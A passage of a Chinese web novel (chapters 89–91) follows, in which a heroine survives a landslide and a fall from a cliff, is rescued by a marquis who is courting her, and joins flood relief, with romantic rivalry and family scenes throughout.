知微转过脸去,便见顾铭珏抱了条超大的鲤鱼正从浅水处一步步的走上来。 知微惊讶,眼中全是他抱着的大鱼,一时间忘乎所以,大声道,“好!马上来!” 转头眉眼弯弯的对喊宋言澈道,“宋大哥,走,咱们快去看看!” 宋言澈只看着她笑,几步上了岸。 知微瞪大了眼睛看着地上活蹦乱跳的大鱼,周围的农户也不断围了过来,冲着顾铭珏竖起大拇指,“兄弟厉害啊!这一条看着有十斤吧!好家伙!” “哎吆比刚才那条还大呢!” “对啊!这几日不知怎的,总是有人捞到大鱼,哎吆,可惜我水性不好。” 众人七嘴八舌的,顾铭珏见知微小心翼翼的围着大鱼乱转,心情极好冲宋言澈挑了挑眉,这才慢悠悠的接过冯三递过来的毛巾。 几下穿上衣服鞋子,行至知微身前,道,“怎么样,中午做了吃了?” 知微高兴的眯着眼,冲他点头,“成,那便做个全鱼宴吧,叫冯三他们去杀鱼,内脏留着,留着炖了也可香呢。” 宋言澈在她身旁自然接话,那咱们再去农家买些菜来,配着吃。 知微点头,好,冯三抱起鱼就要去处理,转头又问了一嘴午膳在何处做。 知微看向宋言澈。 宋言澈道,那边竹屋便是我这几日住的地方,便去那吧。 知微这才看到,那竹林旁确实有片竹屋,吆,住的还挺雅致呢。 冯三见侯爷点头,便自顾自去忙活去了,一想到能吃到二姑娘亲手做的饭菜,冯三便充满了干劲。 知微见顾铭珏裤子还湿,提醒他要不去换换。 宋言澈也道不若穿下官的,老师送来不少,都是新的。 顾铭珏不屑一笑,不了,咱俩尺寸不合适。 知微白了这人一眼,顾铭珏挑眉,对她露了个你懂我的表情。 知微切了一声,快步走了。 狗东西,不浪能死。 宋言澈看到二人的互动,心里不免泛酸。 顾铭珏冲他挑衅道,“宋大人还是知难而退的好,我和知微之间,不是你能插的进来的。” 宋言澈淡笑回道,“都是过去的事情了,侯爷还是不要再提,人不能总活在过去,咱们且行且看。” 知微回头抿着嘴看向二人,不用猜她也知道,又他妈掐起来了! 高雅晴围在知微身边,手里捧着自己采到的小野花蹦蹦跳跳的,身后的丫鬟捧着她买的野果愁眉苦脸的。 这,这玩意怎么吃啊,肯定很酸。 知微看到却笑了,“从哪弄到的,这也算是好东西,平时里想找都找不到呢,别愁眉苦脸了,吃起来是酸了点,但是可以泡酒啊,一会带回去,我拿来泡酒。” 小丫鬟这才高兴起来,将野果子小心收好,要是被夫人知道小姐花几两银子买回去一包酸果子,她指不定会被打板子。 这事确实是高雅晴不对,但她也是好心。 她见一对姐妹衣衫褴褛的,小心的问她要不要果子,说是山里刚摘的。 她见二人身上都是土,头发稀疏焦黄,身上的衣服也都破了,便动了恻隐之心,也没还价,递上了一块银子,将果子全买了。 那两姐妹也是震惊的看着她,一个劲的感谢,徒留小丫鬟对着果子愁眉苦脸,心想自己怎么就没阻止了呢,回去肯定完蛋。 知微几句话帮小丫鬟忙解了围,指着高雅晴的脑门道,“若是这两姐妹是个坏的怎么办!当时就你和小春二人,你也不怕她们见财起意,再对你们不利!以后不准这么冒失!” 高雅晴抿着嘴,也不跑了,老实站好。 冯三却在一旁道,“高小姐还是年纪太小了,没见过坏人,长大了就好了。” 知微道,“可不是,光长肉不涨心眼!下回还敢不敢了!” 高雅晴忙摇头,心里也知自己犯了错了,抿着嘴老实坐好等着开饭。 知微满意点头,又冲冯三道,“上次给你的方子,家里人可做了吃了?” 上次冯三搞到了辣椒,知微回报他几张方子,叫他做生意也好,自己家里人做了吃也好,都成。 一提这事冯三就倍儿高兴,他乃军户出身,父母早亡,自小同姐姐相依为命,多年以来幸亏有侯府照拂,他为人机灵,十六岁便被顾铭珏选为亲卫,目前也是个从七品的小武官。 一说一个他就兴奋起来,“还得多谢二姑娘,我姐得了方子便做了,尤其是那道闷羊肉,太美味了!我姐还叫我问问您。” 他摸摸脑袋,有些不好意思,*“我姐叫我问问您,她能不能用这方子在巷子口开个食肆,那日我姐一做完这菜,周围的邻居好几个敲我们家门的,问我姐做了什么好吃的,嘿嘿,我姐夫,腿脚不好,所以,我想,我想。” 知微直接笑着打断,“有何不可啊,我做羊可有一手呢,就那一道菜怎的开食肆?你去拿纸笔来,趁着炖鱼的功夫,我再写几道,不若开个全羊馆吧?专门做羊,怎么样?” 冯三眼圈顿时就红了,忙不迭跪下就磕头,她哎哎两声,赶紧两人扶了起来,“好了好了,你帮了我那么大的忙,我给你几道菜方子能怎么了?赶紧起来,去找纸笔去。” 顺着知微看向看热闹的高雅晴,“雅晴也别看了,去帮着冯三找纸笔去。” 将两人打发走了,知微发自内心的露出了笑容,转身想去看地锅,却撞到了某个人怀里,鼻子差点给撞歪了。 知微瞪着来人,鼻子又疼又酸,差点掉下泪来,她生气道,“你干嘛!硬的跟铁似的,我鼻梁要断了!” 顾铭珏一看她眼眶通红一下慌了,手忙脚乱的开始哄,“不是,我不是,我就是看到你跟冯三说话,我过来看看,我不是故意的,来,我看看,我看看鼻子。” 知微哼的一声将人推到一旁,懒得理他,自顾自的去看鱼去了。 顾铭珏跟在她后面直叹气,这人,如今是愈发难哄了。 一条大鱼,鱼身子切了几段红烧,鱼头炖了豆腐,腊肉蒸了个粳米饭,随手炒了几个小菜,还有不知谁送的小咸菜,不可谓不丰盛。 也不分什么大小王了,反正就是围坐一堂,吃吃喝喝,说说笑笑,像是偷来的时间一样,热闹舒服。 只是中间也是出现了个小插曲的。 比如说现在,一个相貌不俗的农家女,挎了个篮子,来给宋言澈送饭来了。 女子一身粗布衣裳,面容清秀,举止落落大方,并没有因为看到很多人在不自在。 她径直走到宋言澈身前,大方道,“小宋大人,我爹叫我来给你送些吃的,”而后转向众人,“打扰各位了。” 众人只是笑看着宋言澈,无人言语。 宋言澈面色沉了沉,小心的看了知微一眼,见知微只是微笑着,眼神也没有异样,心里虽有些失落,却也是松了口气的。 宋言澈起身道,“不必了,多谢村长好意,还请姑娘不必再送了。” 知微看了眼自己碗里顾铭珏夹给她的去了刺的鱼肉,顿了顿,挑眉道,“你用公筷挑的?” 顾铭珏一张脸色那是变了又变,半晌咳嗽两声开口,“嗯……不是,但是我还一口东西没吃呢。” 知微眨巴两下眼睛,哦了一声,眼睛有意无意的扫了宋言澈一眼,慢慢将鱼肉放进嘴里。 顾铭珏却很得意,冲还在跟女子扯皮的宋言澈挑眉,人是我的,你忙你的。 跟我斗! 第89章 晨光熹微。日头透过车窗缝隙钻进车厢,金光一样照在正在酣睡的女子 晨光熹微。 日头透过车窗缝隙钻进车厢,金光一样照在正在酣睡的女子身上。 许是困的很了,她睫毛轻轻颤动,但却未醒,丫鬟忙拿了个团扇将阳光给遮住,好叫她继续睡。 是的,天还未明时,她们便出发了。 不用想别的,定是沈爹的主意。 因着几个孩子都去,行李和护卫都不能少了,阵仗太大,为不引人注意,只好趁着别人还未醒时出发。 还有一个原因,便只有那护卫长和高氏知道了。 几个小子一辆马车,但车厢里除了高淮阳,大房的三兄弟都在外头骑马呢,高淮阳则还在补眠,路途遥远,有的是骑马的时候。 双胞胎小子脸上是按耐不住的兴奋,对府上生病的娘亲没有丝毫惦念,对于亲爹的嘱咐也是敷衍点头,并不以为意。 如今心里想的全是路过前头大山的时候,抓小鸟抓山鸡,能抓到狐狸獐子什么杀来吃了,就更好了。 一看就是没经过社会毒打。 一行人只高氏一个长辈,但高氏目前的身心状态都比较好,知微同她一架马车,她看着女儿安静的睡颜,觉得甚是安心。 丈夫对她的嘱咐,她也都记在心里,虽说也会奇怪丈夫的打算,但是她相信他,他心思缜密,总是不会出错的。 她心里也惦记京中的儿子女儿,这一启程啊,回京的心情便愈发急切起来。 高雅若高雅晴姐妹一辆马车,婆子丫鬟她们也都带了几个,车厢里只两个贴身丫鬟伺候着,其余人都在后头的马车里。 高雅若频频回头往向宅邸,她觉得还是有些不太真实,她就这么,轻易的出来了? 娘亲以往是从来不叫她出远门的,至于理由,翻来覆去的也都是那几句。 而现在,她不光出远门,去京都,还要待很长一段时间,若是,钱郎春闱高中的话,那,他们应会直接在京中完婚…… 高雅若摸了摸发红的脸颊,看了眼越来越远的城门,最终放下了窗幔。 她会回来的,风风光光的,会过的很好,很好。 高雅晴虽然对娘亲也十分不舍,但是也知此时娘亲是万不能离府的,大伯母刚出事,祖父的身体也刚好,祖母段不能再处理府上一应事务了,还得娘亲留下才行。 知微还在呼呼大睡。 昨日她是被顾铭珏死缠烂打的给送回来的,虽说一个在马车里,一个骑马在车外。 不要以为知微会被顾侯轻而易举的感动。 不可能的。 她所受的苦难都是实打实的,好马不吃回头草,何况是活生生的人了,她可不会自讨苦吃。 知微一路也没搭理不断在车外没话找话的人,最后顾铭珏只是叹息一声,将她送至高府门前,这才走了。 如今的顾铭珏,已经深陷泥潭,在知微面前更是卑微到了骨子里。 情爱一事,本就是谁爱谁卑微,只是这位仁兄觉醒的有点晚了。 至于宋言澈和那农女,知微直接没给人解释的机会,吃饱喝足完成沈爹的任务之后拍拍屁股便走了。 对于她心里对宋言澈的那一丢丢的悸动,好似被她随风给扬了。 主打一个随心所欲。 晚膳后娘亲过来问她对宋言澈有何想法。 知微一脸我就知道您和爹串通好了的表情。 知微对着她娘就开始扯,“娘,您知道的,我不愿意嫁人,我现在是貌美如花呢,那万一女儿哪一天老了,人老珠黄了,或者女儿不能生孩子,那,我可不信那宋言澈还能这样一心一意的对我。我可是听说了啊,倒贴他得世家女子多了去了,您千万别被我爹忽悠了啊,女儿多陪你您几年,嫁人的事情不着急的。” “娘,明日一早咱们就得出发了,您看看可还有需要带的,别给落下了。” 知微胡编乱造又一顿好哄才将高氏给哄回了院子。 她则是继续分装下午同高雅晴一起买回来的礼物。 毕竟来一趟青州,她可是和高雅晴一顿好逛,买了不少好东西呢。 回程的路途匆忙且无趣。 第一日,众人便在马车的颠颠簸簸,对京城的无限向往中度过了。 晚间他们住在了驿站,一夜风平浪静。 第二日天刚亮便又启程了。 只是今日一早天便灰蒙蒙的,还未至午后便下起了雨。 雨势渐大,前头探路的说前面有处废弃的庙宇,简单休息并吃了些干粮,雨也渐渐停歇。 带路的是跟在沈父身边颇有经验的护卫头领,他见雨停,便同高氏商量赶紧赶路。 紧着时间走晚上还能有地方住。 晚上便宿在了村子里,毕竟在路上,虽说都是娇生惯养的公子小姐,但也没有敢说不好的。 只是这雨下下停停的,叫知微有些心烦意乱。 她夜里合衣躺在农家的土床上,听着窗外滴滴答答的雨声,心里一阵胡思乱想。 但是又觉得是她想多了,便闭上眼睛开始数羊,硬逼着自己赶紧睡去。 翌日清晨起来雨已经停了,只是天还是阴的厉害。 吃了早膳后一行人便着急出发了。 对护卫长来说,这是最后的一道关卡了,绕过这段山路,他们便离开了青省地界,也完成了沈大人交办的,三日内必须过去的命令了。 只是路上还是出了岔子。 虽说是山路,但道路宽敞平整,路两旁的树木也郁郁葱葱的,虽说天还阴着,倒是叫人心情没那么低落了。 知微从晨起后,眼皮便一直在跳。 直跳的她心里发慌。 终于到了午膳时间,天也渐渐的下起了雨,半山腰有一处不知何人搭建的,供行人休息的棚子。 一行人都围坐在中间简单休整。 待护卫长同高氏说出发的的时候,高氏一点哽没打,虽说还在下雨,但并不大,只要走过这段山路,她们就安全了。 只是在所有人都要上车出发的时候,双胞胎身边的小厮着急忙慌的找来,慌乱道两位公子说要入林子小解,他追过去便消失不见了。 高氏慌了神,吩咐众人赶快去寻找。 知微抓住要跟着去找的高雅晴,板着脸道你老实待着,男子去找便可,荒郊野岭的,你去了出了事情怎么办! 高雅若也担心两个弟弟,却也知她们此时出去无异于添乱,便抓紧了小妹的胳膊,不叫她轻举妄动。 高雅晴也不是不懂事的,她点点头,几人严肃的看向门外,等候护卫传来消息。 这俩孩子原是小解时碰到了两只身上羽毛特别漂亮的山鸡,他们哪见过这东西,贪玩的心里一出来,立马将现在的处境给抛之脑后。 于是,在护卫们找到他们的时候,一个已经掉到了猎人的陷阱里,一个正着急忙慌的将人拉上来呢。 幸好雨并不大,他们来的及时,掉进陷阱的小子除了脚崴了,身上有些擦伤,倒是并无大碍。 还是耽搁了一个时辰,须得赶紧启程。 根本无人有闲心去教训二人,来日方长,当下需赶紧离开。 这雨还是淅淅沥沥的,叫人总觉得身上湿了吧唧的,很不舒服。 马儿在雨中行进的速度也没有那么快,正是一片上坡,护卫长看着这段上坡皱了皱眉,一边是大山,另一边虽有大树环绕,但路势有些险峻。 山顶的巨石若隐若现,平日里还好,今日这又是雨又是风的,他总觉得心神不宁。 护卫长最终深吸口气,叫大家一鼓作气,赶紧越过去。 高淮阳高淮安两兄弟在前头道,每个人俱是屏气凝神,不敢有丝毫松懈。 雨势渐大。 天色在大雨的感染下,忽然沉了下来。 高淮安似有所感,忽然向后看去。 高淮阳顺着兄长所看的方向看去,只见应是青州的方向天空乌云密布,已是黑压压一片。 他们所在的地势高,虽离的远,但也能清晰的看到那一片方向的黑云。 黑云压城,在这一刻似乎是具象化了。 他们好似看到雨水从天而泄,天空像是被剪开了一道口子,那雨水直接河盆倾倒,不给人丝毫招架的余地。 所有人都停了下来,愣愣的看着天空。 护卫长最先反应过来,他啪的一下抽打着马儿,大声吼道,“都不要看了!走!翻过这片山头咱们就安全了!走!” 高淮安高淮阳已经被雨水和泪水胡了一脸,但是他们所有人都知道,他们必须赶紧离开,因为这云,在朝他们的方向过来了! 雨势越来越大。 风雨交加,雷声隐隐。 这风雨似乎带着些邪性,知微觉得,马车她们不能再坐下去了。 马儿和人都行的艰难。 她大声呼喊护卫长,叫所有下马车! 护卫长会意,所有人被强制性的拉下马车。 却不等她再安排其他事宜,只听前头便传来了快躲开的声音! 轰隆一声! 突然有石头滑落! 不好!滑坡了! 大块大块的石头混着泥土从山顶滑落下来,有人躲闪不及被一下砸伤! 更有甚者被砸落了山崖! 马儿不断被惊,慌忙逃蹿,车内栽的行李散落一地,尖叫声此起彼伏,只是被狂风和雨水卷去,听不真切。 又是轰隆一声。 狂风伴着大雨,时不时滑落的巨石,都叫一行人四散开来,狼狈逃命。 知微护着娘亲,丁嬷嬷几人护着知微,却不想一匹疯了的马儿直冲冲的朝她们冲来。 知微这才看自己身上鲜亮的珊瑚色外袍,咬了咬牙,在娘亲震惊的眼神下猛的将她们推开,自己径直的往一旁跑去。 果然,发了疯的马儿直冲冲的冲她而来。 娘亲的呼喊被风雨吞没,知微跑到悬崖边,马儿跑来的那一瞬她猛的闪开,马掉落悬崖,她被马儿冲击掉下半截身子,手死死的抱住悬崖边的大树,她咬牙,任由大雨冲刷她也不撒手。 花影月痕忙不迭要过来救她,雨水将她们浇的浑身湿透,她们已经顾及不得了,救主心切,一心只想将知微救上来。 却不想又一些石头正往她们的方向袭来,知微心想,完了,小命要交代在这了。 她大声吼着花影月痕叫她们赶紧走!总不能为救她大家都没命,而后她看了下方一眼。 眼看石头砸过来,她狠心撒手,任由自己径直掉落山崖。 她看了,下面有不少的大树,她活命的几率应该挺大! 高氏疯了一般,她好不容易找到的女儿!就这么掉落山崖了! 她恨不得自己也跳下去,丁嬷嬷死死的抱住了她,大雨下的妇人撕心裂肺好不可怜。 花影月痕她们忙爬到崖前呼喊,却见一个玄色身影浑身猛的扯过悬崖边的几人径直丢到一旁,叫他们不要添乱。 顾铭珏对后头的冯三几人匆匆说安置好她们,自己便径直的跳了下去…… 第90章 好消息,没死。坏消息,卡树上了。下面不说是 好消息,没死。 坏消息,卡树上了。 下面不说是万丈深渊吧,几十米高也是有的,好在她隐约能看到下面是条河,掉下去一时半会的也摔不死。 就是她掉落的地方比较尴尬,大雨冲刷在她身上,她挣扎着想要从树上爬起来,可是她已经使不出多少力气了。 背和胳膊火辣辣的疼,她用力的抓住树杈,想叫自己撑起身子来。 她竟生出了些许的疲惫。 身子使不上力,起不来。 她在这一刹那想不若就这么死了算了,好歹又苟活了这么长时间,全是赚的。 却不想她仰头看天的时候,竟看到磅礴大雨里竟然有个玄色人影,他借藤蔓树枝几个瞬息便到了自己身边。 一个用力,将她拉进怀里,接着二人一起往下跳。 或者说,顾铭珏抱着她,往下跳去。 他非常有经验,即使抱着她,又下着大雨,他也毫不费力。 知微只仰起头淡淡的看着他的侧脸,心想这人怎么回事,不要命了。 何必呢,迟来的深情罢了。 顾铭珏也不看她,只小心的注意脚下,终于,在他又抓住一根藤蔓的时候,卡的一声,藤蔓断了。 他来不及抓住别的,二人径直往下掉,不多时二人扑通一声掉进水里。 虽只十几米的高度,但水的冲击力也够大的,知微只觉得身上被水拍的生疼。 好在她是会水的,入水后身体便不自觉的往上游。 终于冒了头,呼吸到新鲜空气,不远处的拼命向他游来的顾铭珏见她出来,并且水性不错这才松了口气。 雨还是非常大,二人艰难往岸边游去。 好在这河并不宽大。 本应是不多深的溪流,因为几日的大雨,这才积累了不少的水,水多好啊,也算是救了二人一条命。 顾铭珏抓紧了知微的手,问她可还能行,知微点头,在看到顾铭珏肩头被雨水冲刷流下的红色之后,睫毛颤了颤,雨水冲的他二人都十分狼狈,尤其这人还受了伤。 说不感动是假的。 这人,净会用些劳什子苦肉计。 罢了,从前的事便一笔勾销了吧。 二人寻找山洞躲雨。 毕竟是山谷,山洞还是好找的。 知微也算是有在山洞生存的经验,二人找了处高些的山洞爬了上去,路上知微顺手掐了两把野芹菜。 这玩意长在水边,她认识,并不是毒芹。 终于不在被大雨侵袭,二人俱是松了口气。 二人也顾不得其他,将手上的东西扔掉,一屁股坐下,是得歇息片刻。 身上湿的厉害,知微将身上的东西全都拿了出来。 匕首,毒药,火折子。 至于身上的荷包头饰早就掉落了个干净,这匕首火折子还是她昨夜绑在身上的。至于毒药,被她用油纸藏在腰带里。 她就说她眼皮一直跳的准没好事,好了,掉崖了,这回不跳了。 她觉得自己是有些穿越女主的气运在身上的,掉个崖都没给自己摔死。 顾铭珏望着她的动作,笑道,“你还挺有先见之明。” 知微掀掀眼皮回道,“那可不,走山路,总得有些准备啊,这不就用上了。” 说完还感叹了一句,感谢先辈发明的火折子。 她爬了起来,打量这个山洞,洞口只一人的大小,刚才他们也是扯开了洞口的一些杂草才进入的。 洞里是个椭圆形的,往里竟然还有个狭小的洞,知微心想这不会是什么大蛇的洞府吧,她们再惊动了什么精怪的,小命不是玩完? 摇摇头又觉得不可能,哪那么多精怪。 于是她在山洞转了一圈,没刻意去打量那个狭小的洞口,二人坐在山洞内里不被风雨吹到的地方休息,好在洞里有些树枝树叶,他们不至于没得生火。 要知道,到处下雨呢,干柴可不好找。 洞里的树枝不多,长年累月被风吹进来的落叶啥的可不少,捡捡都能用,能撑多长时间再说吧。 她知道顾铭珏为救她属实是累惨了,便冲来帮忙的顾铭珏摆手,“你把上衣脱了烤烤。你身上的药也找出来,我给你上药,你那肩膀还在流血。” “看什么看,快点。” 顾铭珏点点头,将上衣脱了。 又去洞口拖了个大树枝进来,三两下用匕首削齐整,在火堆旁支了个架子烤衣裳。 做好后顾铭珏便目不转睛的看着知微,她权当看不见。 叫他坐好,拿起地上的几个小瓶,眼神问顾铭珏哪个是金疮药。 得到肯定之后便开始帮他上药,只可惜没有东西包扎,了胜于无吧,她俩身上的衣物可都湿着呢。 知微叫他别乱动,自己则是坐到火堆旁烤自己个去了。 她背上胳膊上也有伤,也是火辣辣的疼。应是没伤及内脏,她还可以忍耐。 知微没脱衣服,自己一整个的坐在火堆前,从头发开始烤。 一头青丝乌黑亮丽,虽然还是湿哒哒的,批散在身前,也还是像缎子一样。 知微随意的用手拢了拢,试图叫它干的快一些。 虽说是夏日,这淋了雨也还是冷的,她唇色冻的有些发白,倒是挺羡慕顾铭珏这种常年习武的,这半天了,光着膀子也没见他脸色有什么变化。 顾铭珏休息半晌便捡起地上半截树枝,拿着匕首便开始削,不多会儿就削了个簪子,知微接过,随意将半干的长发挽起。 她望着洞口,天已经完全黑了下来,叫人人心里发沉。 雨好似小了一些,也不知,外头现在到底是个什么光景。 该,发水了吧? “这雨水好似奔着青州去的一般,百姓……” 她眉心狠狠蹙起,她很难想象,就这种大雨,若是下个两日,会出现什么样的后果。 且大灾之后必有大疫,爹爹,爹爹他们…… 顾铭珏看着她,轻声开口,“不必担心,我来时,城内已经空了,你要相信沈大人,他有的是法子。” 知微惊讶的看向他,空了? 她笑了,难怪爹叫他们赶紧走呢。 她点点头,终于放下心来。 她爹可真厉害,那么一城的人呢,也不知想了什么法子。 知微转过身子正视顾铭珏,认真道, “还得谢谢你,救我一命。” 顾铭珏只望着她,眸子里充满了她的身影,“说这些就见外了,我说过,我会护着你。” 知微扯了扯唇角,觉得有些事情,还是得说开,“你大可不必为我做这些的,你知道,我不是个能轻易被打动的。” 顾铭珏点头,目光灼灼的望着她道,“我知,但是我想这么做,即使你不愿意再回头看我,我也还是愿意一直在你身边保护你。” 知微被他说的一噎,眼睛又落到他被火光照亮了的紧实的胸膛上,叹了口气,这天儿算是聊不下去了,油盐不进呢这家伙,道了声随你,便别过脸去,不再看他。 顾铭珏却继续道,“从前,是我没护好你,我向你道歉。我不奢望你原谅,但是。” 顾铭珏话锋一转,“但是我希望能和宋言澈公平竞争,你别轻易就被他哄骗了去。” 知微翻了个白眼,“我跟他没什么关系,别往他身上扯。” “不是,你堂堂侯爷,如今都闹灾了,你还有心思考虑儿女情长呢?你亏不亏心?” 这人拿着俸禄呢,知微撇着嘴,无语的看着他。 顾铭珏却咧嘴一笑,“你以为我来的为何这么晚,我的人都在附近疏通村民,将他们送至安全地段。” 说完他看了眼洞口的方向,“这雨应该很快就停了。” 知微点头,不再作它想,这人应对灾情可比她有经验多了,“眼看是小了些,不知你娘她们怎么样了。” “放心吧,有初九他们,你娘她们定平安无事。” 两人一个盯着篝火,一个盯着心爱之人,在这沉寂的雨夜竟生出几分和谐来。 另一边,山路被滑下来的石块泥土给堵住了。 知微掉崖后初九眼疾手快将高氏给劈晕过去,带着众人迅速离开,也没走远,就近找了处山洞躲避。 这个时候,没有比山洞再安全的地方了。 不多时,冯三带着人,便将高家兄妹和一些护卫给找到,众人汇合。 天色已黑,他们暂时放弃寻找,清点人数时,发现少了五六人,其余人虽有受伤,但还算安好。 双胞胎两个小子被吓的蜷缩在角落,虽无人训斥,但也知道是因为他俩耽搁了一个时辰才会出事。 二人大气都不敢喘。 高淮安高淮阳两兄弟守着洞口,着急的望着青州的方向。 高雅若想去安慰两个弟弟,但是想到知微,还是放弃了这个打算。 她看着洞外的大雨,祈祷着知微平安。 她们已经从初九的口中听说青州城已经空了的事情,也就是说,她们的父母都是平安的。 可偏偏,偏偏现在知微出了事情,叫她怎么不揪心呢。 高氏悠悠转醒,她看着众人,忙问知微在何处,初九如实回答,叫她不必担心,有侯爷在,且也有暗卫已经跟上去了,不时便会有消息。 高氏怔愣片刻,还是捂着脸颊哭了起来,她的女儿啊!为什么偏偏是她得女儿! 初九张了张嘴,不知如何安慰。 还是丁嬷嬷叫她必须振作起来,这一大家子的小辈,都看着呢。当下雨势渐小,又有侯爷在,小姐不会出事,待明日天晴,咱们还得继续赶路,您理应振作起来! 知微将水芹菜递了些给顾铭珏,笑容怪异道,“随便吃些草来果腹吧,巧妇难为无米之炊,不过这芹菜味道挺大的,不知道你能不能吃下去了。” 顾铭珏接过,便往嘴里塞,“自十六岁接了陛下的差事,这么多年行走各地,树根我也是吃过的,哪里又吃不下这玩意呢。” 知微撇嘴,还显摆上了,“从前也不知是谁,不吃姜不吃内脏也不吃味道大的,偏还爱吃个酸甜的。” 顾铭珏听着知微对自己的吐槽,内心一阵翻涌,他就知道,她心里是有他的,他爱吃什么不爱吃什么,她都记得清楚。 其实……还真是他想多了,一个合格的厨子,哪有不记得食客喜好的? 这位可是做了她那么久的食客呢。 二人一直也没睡,半夜雨就停了,知微有些激动,终于停了,她站在洞外看着漆黑的天空,祈祷明日一定要是晴天。 顾铭珏已经衣着齐整,陪着她看天,道,“你看,那里已经能看到星星了,明日定是晴天。” 知微见还真是,笑容灿烂,不断点头,“还真是,这就好这就好,百姓也有救了。” 她转过脸继续对他道,“不过,此次还得谢谢顾侯,咱们算是扯平了,以后您可不必再觉得欠我什么。” 不料顾铭珏却猛的向她靠近,垂眸看着她,认真道,“我心悦你,一切都是我心甘情愿的,不必再跟我见外,可好?” 黑暗里,他的眼眸很亮,亮到知微能清晰的看到他瞳孔里自己错愕的表情,知微轻轻扯了扯嘴角,并不在意他的逼近,而是看着他,一字一句道,“若是开始或者回京后,你是如此对我的,或许,无论发生何事,我都会义无反顾的奔向你,可是,错过了就是过错了,再也回不去了。” 看着对方睫毛颤动,似乎有些不能接受,知微继续使力,“何必拘泥于儿女情长,做个杀伐果断的侯爷不好吗?” 对方并不回应,知微低垂下眉眼,轻轻扯了扯嘴角,准备进山洞休息。 却听一阵脚步声由远及近走来,一声侯爷,唤回了顾铭珏思绪。 他看着来人,面色又沉了沉,转身看到夜色下知微闪亮的眼眸,嗯了一声,半晌才对她道,“走吧。” 90-100 第91章 终于在天光大亮时出了山。知微只觉得头懵懵的,脚下和跟踩 终于在天光大亮时出了山。 知微只觉得头懵懵的,脚下和跟踩着棉花似的,刚看到平整的路面,心口一松便一头栽了下去。 顾铭珏眼疾手快,将人抱在怀里。 这一看不要紧,知微面颊绯红,额头滚烫。 顾铭珏怪自己不够细心,心疼的望着她,叹了口气,真够犟的,难受也一声不吭。 黄成递与他一个瓷瓶,他打开,喂了知微一颗药丸。 之后便将人打横抱起,爱人在怀,肩头的伤口又撕裂开,他也丝毫不觉。 叫黄成几人带路,还得将知微送到高氏身边才行。 他说谎了,青州城并不是都空了,还有些不听话的在里头死活不出来,即使沈鸿在那,应也是棘手的。 至于青州周围的村镇,基本上也都被大水淹没,虽早有准备,怕还是有漏网之鱼,他还得抓紧时间带着人去过去抢救才行。 也亏的沈鸿有先见之明叫她们先行离开,他们现在所处的位置,已经没有那么大的水了,百姓相对来说是安全的。 将知微送至高氏他们所在的山洞,初九留下,他嘱咐了几句便要离开。 高淮阳高淮安两兄弟却追了上去,想回城帮忙。 顾铭珏只淡淡道了一句,连这帮女眷你们都护不住,谈何去助百姓? 说完他转身便离开了。 护卫长胳膊断了,初九懂医理,已经给简单包扎过了。 护卫长三十出头的年纪,皱着眉对两位公子道,“城内有沈大人在,定出不了太大的岔子,咱们的马车和行李还得赶紧找回来,如今这天也晴了,下边的村子也应是急需要人手的,另外还需将这山路通开,两位公子若是无事,便跟在下一同做事吧!” 知微醒来的时候,娘亲正紧紧握住她的手落泪。 她身上已经换上了干净衣裳,身下被铺了层毯子,她努力睁开眼睛,发现虽还在山洞,这山洞却宽敞多了。 娘亲和丁嬷嬷她们都小心的看着她,问她可还有不适。 知微摇头,道就是有些饿了,没什么力气。 花影已经端来粳米粥,高氏接过,一勺一勺的喂给她吃。 他们第一时间去找车上掉落的粮食,如今正摊在洞口晾晒呢,所以他们并不缺吃的。 高氏边喂边掉泪,给知微换衣裳时,她自然是看到了知微身上的伤,已经青紫了不说,还不少破皮的伤口,又是高烧,叫她这个当母亲的怎么能不心疼呢。 知微却是笑着安慰她,“娘,咱们也算是平安无事,有惊无险不是。” 随后又想到之前掉崖的那几人,着急问道可找到了? 丁嬷嬷忙道,“找到了,一个摔断腿的,一个摔段胳膊的,初九姑娘正在给包扎,小姐别担心,大家都活着,一个没少。多亏了侯爷了,真是帮了咱们天大的忙。” 知微点点头,听着丁嬷嬷对顾铭珏在名称上的改变也没有说什么,从前是安定侯,今日已经亲近至侯爷了。 又听着说了目前的情况,虽然路还是堵着的,但他们人多,总能通开的。 高氏擦着泪,嘴上不说,心里也是感谢人家的。 她点点头,尝试着起身,被娘亲给按了下去。 知微笑道,“娘,我已经不烧了,您就让我活动活动吧,我出去看看,已经几日未见太阳了,我也去晒晒太阳,再抓几个野物来吃吃才好呢。” 她扫视周围,见不少东西都已经找回了,这才松了口气。 高氏拿她没办法,只她心里也是着急的,便由着她去了,她知道知微有护住自己的本事,只无奈的看着自己这个胆大的小女儿,内心纠结的要命。 “怎么不见表姐她们?” 花影小心扶着她,回道“几位公子小姐一早便跟着出去帮忙去了,这水灾不知害了多少人,咱们的人一部分去了下面村子,一部分留下照顾伤患,这附近受灾不算严重,但是还是有不少房屋被冲垮了。” 花影越说越小声,知微叹气,“这活着啊,总归都不容易啊。” 她这一觉醒来已经是午后了,顾铭珏的药很管用,她醒时娘亲又喂了她一颗,如今她已经感觉好多了,用了些食物之后力气也在慢慢恢复。 她带着花影月痕在周围转了转,顺手采了些野菜,又搭了两个陷阱才慢吞吞回去。 主仆三人在一个洞口竟然还逮住了五只白毛兔,知微身上带着药粉呢,很轻易的就抓住了。 又挖一堆野菜,野菜太多*,知微就地编了个篮子,叫花影和月痕看的是目瞪口呆的。 尤其月痕,愈发觉得她们家小姐合该配天底下最好的男子,她们家小姐太太太厉害了!什么都会! 三人鞋子和身上都是泥土,不过这几日也都习惯了,无人在意这些小事。 她们回去的时候同高雅若高雅晴碰上了,尤其高雅晴,小脸红扑扑眼睛红肿,一看就是刚哭过。 她一见知微,就扑到了知微怀里,呜呜哭诉自己听说她掉崖了有多害怕,后面又在说刚才看到村子里房屋都被冲垮了心里有多难过,小姑娘这两日可是经历了不少的事情,已然成长了许多。 知微轻拍着小姑娘的背,慢慢安抚着,“这人啊,总得往好了想,房子冲垮了,人是安全的不是吗,福祸相依,叫表姐猜猜,你是不是还给人家留银子来着?” 高雅晴听到她这句话,也不哭了,从她怀里出来,瞪大了眼睛看着她,知微拿帕子帮她擦了擦脸上的泪,笑道,“就你这心善的模样,不留银子就奇了怪了,就你那荷包,能帮几家啊。” 高雅若咬着唇,看样子对她的冲击也挺大,“我们身上并未带多少银钱,便将荷包全部交由村长,由村长分给受灾比较严重的人家。” 知微点头,“嗯,表姐做的对,咱们不了解实际情况,还是交给村长妥当些。” 小丫鬟桃儿为了护着主子,脸上被刮了道口子,在旁边弱弱道,“他们还帮咱们找到了马,还有马车,都是好人。还有些小孩子,也好可怜。” 